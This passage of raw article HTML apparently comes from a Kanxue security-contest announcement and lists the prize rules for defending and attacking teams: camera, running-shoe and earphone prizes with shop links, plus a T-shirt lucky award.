textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">精致奖</span></span></p></td><td data-colwidth="287"><p><span leaf="" mpa-font-style="mp270b55w9v" style="font-size: 15px;" data-pm-slice="1 1 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;,&#34;start&#34;:null},&#34;listitem&#34;,{&#34;style&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: justify;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">题目短小并且最能抗的</span></span></p></td></tr></tbody></table></p></div></div></div><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55i5l" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">7.1 防守方奖项</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5587a" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">防守方奖项设3类：最佳坦克奖、火力焦点奖、精致奖</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp290ioj1g3i" style="font-size: 14px;" data-mpa-action-id="mp290ip0xhs" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(121, 123, 170);">*奖品价值：最佳坦克奖&gt;火力焦点奖&gt;精致奖</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55p3k" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">同一战队获奖类型，不可重复。若已获得靠前类别奖项，则不参与后续的评定。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55h0x" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">解释：</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55156j" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若获得最佳坦克奖，则不参与火力焦点奖、精致奖评定</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b55b7c" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">若获得火力焦点奖，则不参与精致奖评定</span></span></p></li><li><p style="text-align: justify;"><span leaf="" mpa-font-style="mp270b551t4n" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">同时，该类别奖项将按名次顺延给下一战队。</span></span></p></li></ul><div style="font-size: 15px;line-height: 1.6;letter-spacing: 1px;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px -22px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(39, 47, 223) 14%, rgb(40, 23, 199) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);line-height: 1;font-size: 14px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">最佳坦克奖</span></strong></p></div></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 3px 3px 0px;overflow: hidden;border-top-right-radius: 145px;border-bottom-right-radius: 145px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);overflow: hidden;padding: 0px 16px 0px 9px;border-top-right-radius: 155px;border-bottom-right-radius: 155px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(56, 42, 200);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">01</span></strong></p></div></div></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;width: 100%;align-self: flex-start;border-style: solid;border-width: 0px;border-color: rgb(218, 229, 165);padding: 2px;height: auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 16px;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;margin: 0px 0px 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;border-style: solid;border-width: 0px;border-color: rgb(255, 255, 255);width: 80%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.75" data-s="300,640" data-type="png" data-w="964" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131234" src="https://wechat2rss.xlab.app/img-proxy/?k=1e4f4994&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K3FfsGJUDYcEORRc8ibFQNt3m1bts293YDAIMX5ib0PywDnoO9PmhKlicdUE5yRs3rhb48RDFiau7Vwuf4LZtf7MnzbibCxc0LWsiceI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;font-size: 14px;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">DJI Osmo 360 运动相机</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><a href="https://item.jd.com/100294609524.html" target="_blank">https://item.jd.com/100294609524.html</a></span></p></div></div></div></div><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px -22px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(39, 47, 223) 14%, rgb(40, 23, 199) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);line-height: 1;font-size: 14px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">火力焦点奖</span></strong></p></div></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 3px 3px 0px;overflow: hidden;border-top-right-radius: 145px;border-bottom-right-radius: 145px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);overflow: hidden;padding: 0px 16px 0px 9px;border-top-right-radius: 155px;border-bottom-right-radius: 155px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(56, 42, 200);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">02</span></strong></p></div></div></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;width: 100%;align-self: flex-start;border-style: solid;border-width: 0px;border-color: rgb(218, 229, 165);padding: 2px;height: auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 16px;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;margin: 0px 0px 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;border-style: solid;border-width: 0px;border-color: rgb(255, 255, 255);width: 80%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7502538" data-s="300,640" data-type="png" data-w="985" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131235" src="https://wechat2rss.xlab.app/img-proxy/?k=1ae1d0ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K230ic6fB58xawH8MhnjClkpDTI9UHxplEBlSA7BSUnMTFvdgqCq1FWApJwL2qQBAYHUMFfkj0vib5tiaepUUr1kicUWWrtjZ3hGvk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">布鲁克斯（BROOKS）Ghost幽灵Max3跑鞋 <a href="https://item.jd.com/100245770842.html" target="_blank">https://item.jd.com/100245770842.html</a></span></p></div></div></div></div><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px -22px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(39, 47, 223) 14%, rgb(40, 23, 199) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);line-height: 1;font-size: 14px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">精致奖</span></strong></p></div></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 3px 3px 0px;overflow: hidden;border-top-right-radius: 145px;border-bottom-right-radius: 145px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);overflow: hidden;padding: 0px 16px 0px 9px;border-top-right-radius: 155px;border-bottom-right-radius: 155px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(56, 42, 200);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">03</span></strong></p></div></div></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;width: 100%;align-self: flex-start;border-style: solid;border-width: 0px;border-color: rgb(218, 229, 165);padding: 2px;height: auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 16px;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;margin: 0px 0px 10px;line-height: 0;box-sizing: border-box;"><p style="vertical-align: middle;display: inline-block;line-height: 0;border-style: solid;border-width: 0px;border-color: rgb(255, 255, 255);width: 80%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.75" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131236" src="https://wechat2rss.xlab.app/img-proxy/?k=bae6f538&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K1aI25aMET6c8yC3XpW7G2zclfW3Mu4dvN1q7ibedAfzxlT7ISqib1lPtvGV6YowbafXSFIvFFAGga0YzTetzvcZy9HqHpzf6eGA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">索尼（SONY）Float Run 运动耳机 <a href="https://item.jd.com/100044848672.html" target="_blank">https://item.jd.com/100044848672.html</a></span></p></div></div></div></div></div><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">7.2 攻击方奖项</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55l5n" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">根据攻击方获得的 “3.5 攻击方积分”进行排名，取前一、二、三名，分别对应一等奖、二等奖、三等奖。</span></span></p><div style="font-size: 15px;letter-spacing: 1px;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px -22px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(39, 47, 223) 14%, rgb(40, 23, 199) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="font-size: 14px;color: rgb(255, 255, 255);line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">一等奖（攻击方第1名）</span></strong></p></div></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 3px 3px 0px;overflow: hidden;border-top-right-radius: 145px;border-bottom-right-radius: 145px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);overflow: hidden;padding: 0px 16px 0px 9px;border-top-right-radius: 155px;border-bottom-right-radius: 155px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(56, 42, 200);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">01</span></strong></p></div></div></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;width: 100%;align-self: flex-start;border-style: solid;border-width: 0px;border-color: rgb(218, 229, 165);padding: 2px;height: auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 16px;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;margin: 0px 0px 10px;line-height: 0;box-sizing: border-box;"><p style="vertical-align: middle;display: inline-block;line-height: 0;border-style: solid;border-width: 0px;border-color: rgb(255, 255, 255);width: 80%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.75" data-s="300,640" data-type="png" data-w="964" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131231" src="https://wechat2rss.xlab.app/img-proxy/?k=40e7af05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K3haqxRffQ2WZGlrV3Mib06t44yDIRCbGXVJr4ANS75lo5IicUFiaTDAib35c4Mian3vPoal8yMrFvTozLPq4DibaaTFJQIF7XYPibpGo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;font-size: 14px;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">DJI Osmo 360 运动相机</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><a href="https://item.jd.com/100294609524.html" target="_blank">https://item.jd.com/100294609524.html</a></span></p></div></div></div></div><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px -22px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(39, 47, 223) 14%, rgb(40, 23, 199) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);line-height: 1;font-size: 14px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">二等奖（攻击方第2名）</span></strong></p></div></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 3px 3px 0px;overflow: hidden;border-top-right-radius: 145px;border-bottom-right-radius: 145px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);overflow: hidden;padding: 0px 16px 0px 9px;border-top-right-radius: 155px;border-bottom-right-radius: 155px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(56, 42, 200);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">02</span></strong></p></div></div></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;width: 100%;align-self: flex-start;border-style: solid;border-width: 0px;border-color: rgb(218, 229, 165);padding: 2px;height: auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 16px;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;margin: 0px 0px 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;border-style: solid;border-width: 0px;border-color: rgb(255, 255, 255);width: 80%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.750253807106599" data-s="300,640" data-type="png" data-w="985" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131233" src="https://wechat2rss.xlab.app/img-proxy/?k=6fdb19d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K2hR9580tCfcM6FvrPLK54RTBrsibQlTqCVjmsNV84ucCEticloKiaOo8mJKeYlG84CbkVLouDiaJFw4kicDkeoX4iatlGfOvVkDmpCs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;font-size: 14px;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">布鲁克斯（BROOKS）Ghost幽灵Max3跑鞋 <a href="https://item.jd.com/100245770842.html" target="_blank">https://item.jd.com/100245770842.html</a></span></p></div></div></div></div><div style="display: flex;width: 100%;flex-flow: column;box-sizing: border-box;"><div style="z-index: 1;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px -22px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(39, 47, 223) 14%, rgb(40, 23, 199) 85%);min-width: 5%;max-width: 100%;height: auto;line-height: 0.4;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 3px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 0px 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);line-height: 1;font-size: 14px;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">三等奖（攻击方第3名）</span></strong></p></div></div></div></div></div><div style="display: inline-block;vertical-align: top;width: auto;align-self: stretch;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);margin: 9px 0px 0px;min-width: 5%;max-width: 100%;height: auto;padding: 3px 3px 3px 0px;overflow: hidden;border-top-right-radius: 145px;border-bottom-right-radius: 145px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);overflow: hidden;padding: 0px 16px 0px 9px;border-top-right-radius: 155px;border-bottom-right-radius: 155px;box-sizing: border-box;"><div style="text-align: center;width: 100%;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(56, 42, 200);width: 100%;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">03</span></strong></p></div></div></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;width: 100%;align-self: flex-start;border-style: solid;border-width: 0px;border-color: rgb(218, 229, 165);padding: 2px;height: auto;background-image: linear-gradient(90deg, rgb(157, 154, 223) 13%, rgb(57, 39, 223) 50%, rgb(120, 145, 200) 89%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 16px;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;margin: 0px 0px 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;border-style: solid;border-width: 0px;border-color: rgb(255, 255, 255);width: 80%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.75" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131232" src="https://wechat2rss.xlab.app/img-proxy/?k=48cc237a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K18GJ5gVLWnfQzMmQrbfFDrxiccEvXQ23mZWWmUo82M51ZE0CBTt5YYiaC5rdp1ogbZCx7lJVFOyaDPjE0icwL5Ju1tYMGbqBXlMI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;font-size: 14px;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">索尼（SONY）Float Run 运动耳机</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><a href="https://item.jd.com/100044848672.html" target="_blank">https://item.jd.com/100044848672.html</a></span></p></div></div></div></div></div><h2 style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mp270b551mwt"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);font-weight: bold;">7.3 幸运奖</span></span></span></h2><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b5520k2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">评选战队：防守方（未得奖战队）+攻击方（第4～10名）</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="mp270b55azf" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">奖品：看雪·2026 定制周边T恤（每个战队1件）</span></span></p><div style="font-size: 15px;line-height: 1.6;letter-spacing: 1px;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 50%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.0344828" data-s="300,640" data-type="gif" data-w="580" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131237" src="https://wechat2rss.xlab.app/img-proxy/?k=d850e590&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K15ZzsY1v4FDnsOXyEoibpeJcBiaPCiaqSBDSK2pWB27FX8yxFfhuxYmOSUy6OeZJbAibicj066aoFOpuPHVNWicUQDzPFVicxtaV7JXg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><div style="font-size: 15px;line-height: 1.6;letter-spacing: 1px;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px 1px 0px;border-color: rgb(39, 47, 223);padding: 21px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 